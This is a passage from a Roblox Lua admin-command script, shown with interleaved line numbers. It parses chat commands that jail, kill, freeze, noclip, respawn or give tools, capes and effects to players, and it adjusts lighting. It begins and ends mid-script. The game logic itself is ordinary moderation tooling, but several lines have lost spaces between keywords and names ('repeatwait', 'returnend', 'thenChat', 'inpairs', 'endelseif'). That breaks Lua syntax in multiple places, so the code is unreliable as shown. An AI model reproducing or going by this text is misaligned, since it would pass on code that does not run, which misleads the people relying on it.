game.Lighting.FogStart = origsettings.fs
460
for i, v in pairs(lobjs) do v:Destroy() end
461
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
462
end
463
 
464
if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
465
coroutine.resume(coroutine.create(function()
466
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
467
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
468
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 =Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter."box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment= "Right" box.ZIndex = 10 box.ClipsDescendants = true
469
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." thenChat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
470
end))
471
end
472
 
473
if msg:lower():sub(1,2) == "m " then
474
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
475
end
476
 
477
if msg:lower():sub(1,2) == "h " then
478
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
479
end
480
 
481
if msg:lower():sub(1,3) == "pm " then
482
local chk1 = msg:lower():sub(4):find(" ") + 3
483
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
484
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
485
end
486
 
487
if msg:lower():sub(1,11) == "resetstats " then
488
local plrz = GetPlr(plr, msg:lower():sub(12))
489
for i, v in pairs(plrz) do
490
coroutine.resume(coroutine.create(function()
491
if v and v:findFirstChild("leaderstats") then
492
for a, q in pairs(v.leaderstats:children()) do
493
if q:IsA("IntValue") then q.Value = 0 end
494
end
495
end
496
end))
497
end
498
end
499
 
500
if msg:lower():sub(1,5) == "gear " then
501
local chk1 = msg:lower():sub(6):find(" ") + 5
502
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
503
for i, v in pairs(plrz) do
504
coroutine.resume(coroutine.create(function()
505
if v and v.Character then
506
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
507
for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
508
obj:Destroy()
509
end
510
end))
511
end
512
end
513
 
514
if msg:lower():sub(1,4) == "hat " then
515
local chk1 = msg:lower():sub(5):find(" ") + 4
516
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
517
for i, v in pairs(plrz) do
518
coroutine.resume(coroutine.create(function()
519
if v and v.Character then
520
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
521
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
522
obj:Destroy()
523
end
524
end))
525
end
526
end
527
 
528
if msg:lower():sub(1,5) == "cape " then
529
local chk1 = msg:lower():sub(6):find(" ")
530
local plrz = GetPlr(plr, msg:lower():sub(6))
531
local str = "torso.BrickColor"
532
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
533
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
534
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
535
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
536
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
537
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
538
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
539
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]]end
540
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
541
if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
542
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
543
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
544
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
545
if BrickColor.new(teststr) ~= nil then str = teststr end
546
end
547
for i, v in pairs(plrz) do
548
coroutine.resume(coroutine.create(function()
549
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
550
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
551
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
552
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
553
local torso = plr.Character.Torso
554
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
555
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
556
p.Size = Vector3.new(.2,.2,.2)
557
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
558
local motor1 = Instance.new("Motor", p)
559
motor1.Part0 = p
560
motor1.Part1 = torso
561
motor1.MaxVelocity = .01
562
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
563
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
564
local wave = false
565
repeat wait(1/44)
566
local ang = 0.1
567
local oldmag = torso.Velocity.magnitude
568
local mv = .002
569
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
570
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
571
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
572
motor1.DesiredAngle = -ang
573
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
574
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
575
if torso.Velocity.magnitude < .1 then wait(.1) end
576
until not p or p.Parent ~= torso.Parent
577
script:Destroy()
578
]] cl.Parent = v.PlayerGui cl.Disabled = false
579
end
580
end))
581
end
582
end
583
 
584
if msg:lower():sub(1,7) == "uncape " then
585
local plrz = GetPlr(plr, msg:lower():sub(8))
586
for i, v in pairs(plrz) do
587
coroutine.resume(coroutine.create(function()
588
if v and v:findFirstChild("PlayerGui") and v.Character then
589
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
590
end
591
end))
592
end
593
end
594
 
595
if msg:lower():sub(1,7) == "noclip " then
596
local plrz = GetPlr(plr, msg:lower():sub(8))
597
for i, v in pairs(plrz) do
598
coroutine.resume(coroutine.create(function()
599
if v and v:findFirstChild("PlayerGui") then
600
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
601
cl.Parent = v.PlayerGui cl.Disabled = false
602
end
603
end))
604
end
605
end
606
 
607
if msg:lower():sub(1,5) == "clip " then
608
local plrz = GetPlr(plr, msg:lower():sub(6))
609
for i, v in pairs(plrz) do
610
coroutine.resume(coroutine.create(function()
611
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") andv.Character:findFirstChild("Humanoid") then
612
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
613
v.Character.Torso.Anchored = false
614
wait(.1) v.Character.Humanoid.PlatformStand = false
615
end
616
end))
617
end
618
end
619
 
620
if msg:lower():sub(1,5) == "jail " then
621
local plrz = GetPlr(plr, msg:lower():sub(6))
622
for i, v in pairs(plrz) do
623
coroutine.resume(coroutine.create(function()
624
if v and v.Character and v.Character:findFirstChild("Torso") then
625
local vname = v.Name
626
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
627
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
628
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6)top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black")top.CFrame = cf * CFrame.new(0,-3.5,0)
629
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeatwait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
630
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then returnend repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cfend)
631
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
632
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeatwait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
633
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then returnend repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cfend)
634
end)
635
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
636
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size =Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
637
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
638
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf *CFrame.new(3,0,0)
639
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
640
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
641
local msh2 = msh:Clone() msh2.Parent = back
642
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
643
local msh4 = msh3:Clone() msh4.Parent = left
644
v.Character.Torso.CFrame = cf
645
end
646
end))
647
end
648
end
649
 
650
if msg:lower():sub(1,7) == "unjail " then
651
local plrz = GetPlr(plr, msg:lower():sub(8))
652
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl inpairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
653
end
654
 
655
if msg:lower():sub(1,11) == "starttools " then
656
local plrz = GetPlr(plr, msg:lower():sub(12))
657
for i, v in pairs(plrz) do
658
coroutine.resume(coroutine.create(function()
659
if v and v:findFirstChild("Backpack") then
660
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
661
end
662
end))
663
end
664
end
665
 
666
if msg:lower():sub(1,6) == "sword " then
667
local plrz = GetPlr(plr, msg:lower():sub(7))
668
for i, v in pairs(plrz) do
669
coroutine.resume(coroutine.create(function()
670
if v and v:findFirstChild("Backpack") then
671
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId ="rbxasset://Textures/Sword128.png"
672
sword.GripForward = Vector3.new(-1,0,0)
673
sword.GripPos = Vector3.new(0,0,-1.5)
674
sword.GripRight = Vector3.new(0,1,0)
675
sword.GripUp = Vector3.new(0,0,1)
676
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size =Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
677
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId ="rbxasset://textures/SwordTexture.png"
678
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
679
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
680
local Damage = 15
681
local SlashSound = Instance.new("Sound", script.Parent.Handle)
682
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
683
SlashSound.Volume = 1
684
local LungeSound = Instance.new("Sound", script.Parent.Handle)
685
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
686
LungeSound.Volume = 1
687
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
688
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
689
UnsheathSound.Volume = 1
690
local last = 0
691
script.Parent.Handle.Touched:connect(function(hit)
692
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
693
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
694
hit.Parent.Humanoid:TakeDamage(Damage)
695
end
696
end)
697
script.Parent.Activated:connect(function()
698
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
699
script.Parent.Enabled = false
700
local tick = game:service("RunService").Stepped:wait()
701
if tick - last <= .2 then
702
LungeSound:play()
703
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
704
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
705
wait(.2)
706
script.Parent.GripForward = Vector3.new(0,0,1)
707
script.Parent.GripRight = Vector3.new(0,-1,0)
708
script.Parent.GripUp = Vector3.new(-1,0,0)
709
wait(.3)
710
frc:Destroy() wait(.5)
711
script.Parent.GripForward = Vector3.new(-1,0,0)
712
script.Parent.GripRight = Vector3.new(0,1,0)
713
script.Parent.GripUp = Vector3.new(0,0,1)
714
else
715
SlashSound:play()
716
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
717
end
718
last = tick
719
script.Parent.Enabled = true
720
end)
721
script.Parent.Equipped:connect(function(mouse)
722
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
723
UnsheathSound:play()
724
script.Parent.Enabled = true
725
if not mouse then return end
726
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
727
end)]] cl.Disabled = false
728
end
729
end))
730
end
731
end
732
 
733
if msg:lower():sub(1,5) == "kill " then
734
local plrz = GetPlr(plr, msg:lower():sub(6))
735
for i, v in pairs(plrz) do
736
coroutine.resume(coroutine.create(function()
737
if v and v.Character then v.Character:BreakJoints() end
738
end))
739
end
740
end
741
 
742
if msg:lower():sub(1,8) == "respawn " then
743
local plrz = GetPlr(plr, msg:lower():sub(9))
744
for i, v in pairs(plrz) do
745
coroutine.resume(coroutine.create(function()
746
if v and v.Character then v:LoadCharacter() end
747
end))
748
end
749
end
750
 
751
if msg:lower():sub(1,5) == "trip " then
752
local plrz = GetPlr(plr, msg:lower():sub(6))
753
for i, v in pairs(plrz) do
754
coroutine.resume(coroutine.create(function()
755
if v and v.Character and v.Character:findFirstChild("Torso") then
756
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
757
end
758
end))
759
end
760
end
761
 
762
if msg:lower():sub(1,5) == "stun " then
763
local plrz = GetPlr(plr, msg:lower():sub(6))
764
for i, v in pairs(plrz) do
765
coroutine.resume(coroutine.create(function()
766
if v and v.Character and v.Character:findFirstChild("Humanoid") then
767
v.Character.Humanoid.PlatformStand = true
768
end
769
end))
770
end
771
end
772
 
773
if msg:lower():sub(1,7) == "unstun " then
774
local plrz = GetPlr(plr, msg:lower():sub(8))
775
for i, v in pairs(plrz) do
776
coroutine.resume(coroutine.create(function()
777
if v and v.Character and v.Character:findFirstChild("Humanoid") then
778
v.Character.Humanoid.PlatformStand = false
779
end
780
end))
781
end
782
end
783
 
784
if msg:lower():sub(1,5) == "jump " then
785
local plrz = GetPlr(plr, msg:lower():sub(6))
786
for i, v in pairs(plrz) do
787
coroutine.resume(coroutine.create(function()
788
if v and v.Character and v.Character:findFirstChild("Humanoid") then
789
v.Character.Humanoid.Jump = true
790
end
791
end))
792
end
793
end
794
 
795
if msg:lower():sub(1,4) == "sit " then
796
local plrz = GetPlr(plr, msg:lower():sub(5))
797
for i, v in pairs(plrz) do
798
coroutine.resume(coroutine.create(function()
799
if v and v.Character and v.Character:findFirstChild("Humanoid") then
800
v.Character.Humanoid.Sit = true
801
end
802
end))
803
end
804
end
805
 
806
if msg:lower():sub(1,10) == "invisible " then
807
local plrz = GetPlr(plr, msg:lower():sub(11))
808
for i, v in pairs(plrz) do
809
coroutine.resume(coroutine.create(function()
810
if v and v.Character then
811
for a, obj in pairs(v.Character:children()) do
812
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 endelseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
813
end
814
end
815
end))
816
end
817
end
818
 
819
if msg:lower():sub(1,8) == "visible " then
820
local plrz = GetPlr(plr, msg:lower():sub(9))
821
for i, v in pairs(plrz) do
822
coroutine.resume(coroutine.create(function()
823
if v and v.Character then
824
for a, obj in pairs(v.Character:children()) do
825
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 endelseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
826
end
827
end
828
end))
829
end
830
end
831
 
832
if msg:lower():sub(1,5) == "lock " then
833
local plrz = GetPlr(plr, msg:lower():sub(6))
834
for i, v in pairs(plrz) do
835
coroutine.resume(coroutine.create(function()
836
if v and v.Character then
837
for a, obj in pairs(v.Character:children()) do
838
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") thenobj.Handle.Locked = true end
839
end
840
end
841
end))
842
end
843
end
844
 
845
if msg:lower():sub(1,7) == "unlock " then
846
local plrz = GetPlr(plr, msg:lower():sub(8))
847
for i, v in pairs(plrz) do
848
coroutine.resume(coroutine.create(function()
849
if v and v.Character then
850
for a, obj in pairs(v.Character:children()) do
851
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") thenobj.Handle.Locked = false end
852
end
853
end
854
end))
855
end
856
end
857
 
858
if msg:lower():sub(1,8) == "explode " then
859
local plrz = GetPlr(plr, msg:lower():sub(9))
860
for i, v in pairs(plrz) do
861
coroutine.resume(coroutine.create(function()
862
if v and v.Character and v.Character:findFirstChild("Torso") then
863
local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
864
end
865
end))
866
end
867
end
868
 
869
if msg:lower():sub(1,4) == "age " then
870
local plrz = GetPlr(plr, msg:lower():sub(5))
871
for i, v in pairs(plrz) do
872
coroutine.resume(coroutine.create(function()
873
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
874
end))
875
end
876
end
877
 
878
if msg:lower():sub(1,5) == "fire " then
879
local plrz = GetPlr(plr, msg:lower():sub(6))
880
for i, v in pairs(plrz) do
881
coroutine.resume(coroutine.create(function()
882
if v and v.Character and v.Character:findFirstChild("Torso") then
883
local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
884
end
885
end))
886
end
887
end
888
 
889
if msg:lower():sub(1,7) == "unfire " then
890
local plrz = GetPlr(plr, msg:lower():sub(8))
891
for i, v in pairs(plrz) do
892
coroutine.resume(coroutine.create(function()
893
if v and v.Character and v.Character:findFirstChild("Torso") then
894
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
895
end
896
end))
897
end
898
end
899
 
900
if msg:lower():sub(1,6) == "smoke " then
901
local plrz = GetPlr(plr, msg:lower():sub(7))
902
for i, v in pairs(plrz) do
903
coroutine.resume(coroutine.create(function()
904
if v and v.Character and v.Character:findFirstChild("Torso") then
905
local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
906
end
907
end))
908
end
909
end
910
 
911
if msg:lower():sub(1,8) == "unsmoke " then
912
local plrz = GetPlr(plr, msg:lower():sub(9))
913
for i, v in pairs(plrz) do
914
coroutine.resume(coroutine.create(function()
915
if v and v.Character and v.Character:findFirstChild("Torso") then
916
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
917
end
918
end))
919
end
920
end
921
 
922
if msg:lower():sub(1,9) == "sparkles " then
923
local plrz = GetPlr(plr, msg:lower():sub(10))
924
for i, v in pairs(plrz) do
925
coroutine.resume(coroutine.create(function()
926
if v and v.Character and v.Character:findFirstChild("Torso") then
927
local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
928
end
929
end))
930
end
931
end
932
 
933
if msg:lower():sub(1,11) == "unsparkles " then
934
local plrz = GetPlr(plr, msg:lower():sub(12))
935
for i, v in pairs(plrz) do
936
coroutine.resume(coroutine.create(function()
937
if v and v.Character and v.Character:findFirstChild("Torso") then
938
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
939
end
940
end))
941
end
942
end
943
 
944
if msg:lower():sub(1,3) == "ff " then
945
local plrz = GetPlr(plr, msg:lower():sub(4))
946
for i, v in pairs(plrz) do
947
coroutine.resume(coroutine.create(function()
948
if v and v.Character then Instance.new("ForceField", v.Character) end
949
end))
950
end
951
end
952
 
953
if msg:lower():sub(1,5) == "unff " then
954
local plrz = GetPlr(plr, msg:lower():sub(6))
955
for i, v in pairs(plrz) do
956
coroutine.resume(coroutine.create(function()
957
if v and v.Character then
958
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
959
end
960
end))
961
end
962
end
963
 
964
if msg:lower():sub(1,7) == "punish " then
965
local plrz = GetPlr(plr, msg:lower():sub(8))
966
for i, v in pairs(plrz) do
967
coroutine.resume(coroutine.create(function()
968
if v and v.Character then
969
v.Character.Parent = game:service("Lighting")
970
end
971
end))
972
end
973
end
974
 
975
if msg:lower():sub(1,9) == "unpunish " then
976
local plrz = GetPlr(plr, msg:lower():sub(10))
977
for i, v in pairs(plrz) do
978
coroutine.resume(coroutine.create(function()
979
if v and v.Character then
980
v.Character.Parent = game:service("Workspace")
981
v.Character:MakeJoints()
982
end
983
end))
984
end
985
end
986
 
987
if msg:lower():sub(1,7) == "freeze " then
988
local plrz = GetPlr(plr, msg:lower():sub(8))
989
for i, v in pairs(plrz) do
990
coroutine.resume(coroutine.create(function()
991
if v and v.Character and v.Character:findFirstChild("Humanoid") then
992
for a, obj in pairs(v.Character:children()) do
993
if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
994
end
995
end
996
end))
997
end
998
end
999
 
1000
if msg:lower():sub(1,5) == "thaw " then
1001
local plrz = GetPlr(plr, msg:lower():sub(6))
1002
for i, v in pairs(plrz) do
1003
coroutine.resume(coroutine.create(function()
1004
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1005
for a, obj in pairs(v.Character:children()) do
1006
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
1007
end
1008
end
1009
end))
1010
end
1011
end
1012
 
1013
if msg:lower():sub(1,5) == "heal " then
1014
local plrz = GetPlr(plr, msg:lower():sub(6))
1015
for i, v in pairs(plrz) do
1016
coroutine.resume(coroutine.create(function()
1017
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1018
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1019
end
1020
end))
1021
end
1022
end
1023
 
1024
if msg:lower():sub(1,4) == "god " then
1025
local plrz = GetPlr(plr, msg:lower():sub(5))
1026
for i, v in pairs(plrz) do
1027
coroutine.resume(coroutine.create(function()
1028
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1029
v.Character.Humanoid.MaxHealth = math.huge
1030
v.Character.Humanoid.Health = 9e9
1031
end
1032
end))
1033
end
1034
end
1035
 
1036
if msg:lower():sub(1,6) == "ungod " then
1037
local plrz = GetPlr(plr, msg:lower():sub(7))
1038
for i, v in pairs(plrz) do
1039
coroutine.resume(coroutine.create(function()
1040
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1041
v.Character.Humanoid.MaxHealth = 100
1042
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1043
end
1044
end))
1045
end
1046
end
1047
 
1048
if msg:lower():sub(1,8) == "ambient " then
1049
local chk1 = msg:lower():sub(9):find(" ") + 8
1050
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1051
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1052
end
1053
 
1054
if msg:lower():sub(1,11) == "brightness " then
1055
game.Lighting.Brightness = msg:sub(12)
1056
end
1057
 
1058
if msg:lower():sub(1,5) == "time " then
1059
game.Lighting.TimeOfDay = msg:sub(6)
1060
end
1061
 
1062
if msg:lower():sub(1,9) == "fogcolor " then
1063
local chk1 = msg:lower():sub(10):find(" ") + 9
1064
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1065
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1066
end
1067
 
1068
if msg:lower():sub(1,7) == "fogend " then
1069
game.Lighting.FogEnd = msg:sub(8)
1070
end
1071
 
1072
if msg:lower():sub(1,9) == "fogstart " then
1073
game.Lighting.FogStart = msg:sub(10)
1074
end
1075
 
1076
if msg:lower():sub(1,7) == "btools " then
1077
local plrz = GetPlr(plr, msg:lower():sub(8))
1078
for i, v in pairs(plrz) do
1079
coroutine.resume(coroutine.create(function()
1080
if v and v:findFirstChild("Backpack") then
1081
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1082
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1083
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1084
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1085
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
1086
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
1087
local sb
1088
local hs
1089
local pdist
1090
 
1091
script.Parent.Selected:connect(function(mouse)
1092
if not mouse then return end
1093
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
1094
hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
1095
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
1096
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
1097
hs.MouseButton1Down:connect(function() pdist = 0 end)
1098
end)
1099
 
1100
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
1101
end
1102
end))
1103
end
1104
end
1105
 
1106
if msg:lower():sub(1,5) == "give " then
1107
local chk1 = msg:lower():sub(6):find(" ") + 5
1108
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1109
for i, v in pairs(plrz) do
1110
coroutine.resume(coroutine.create(function()
1111
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
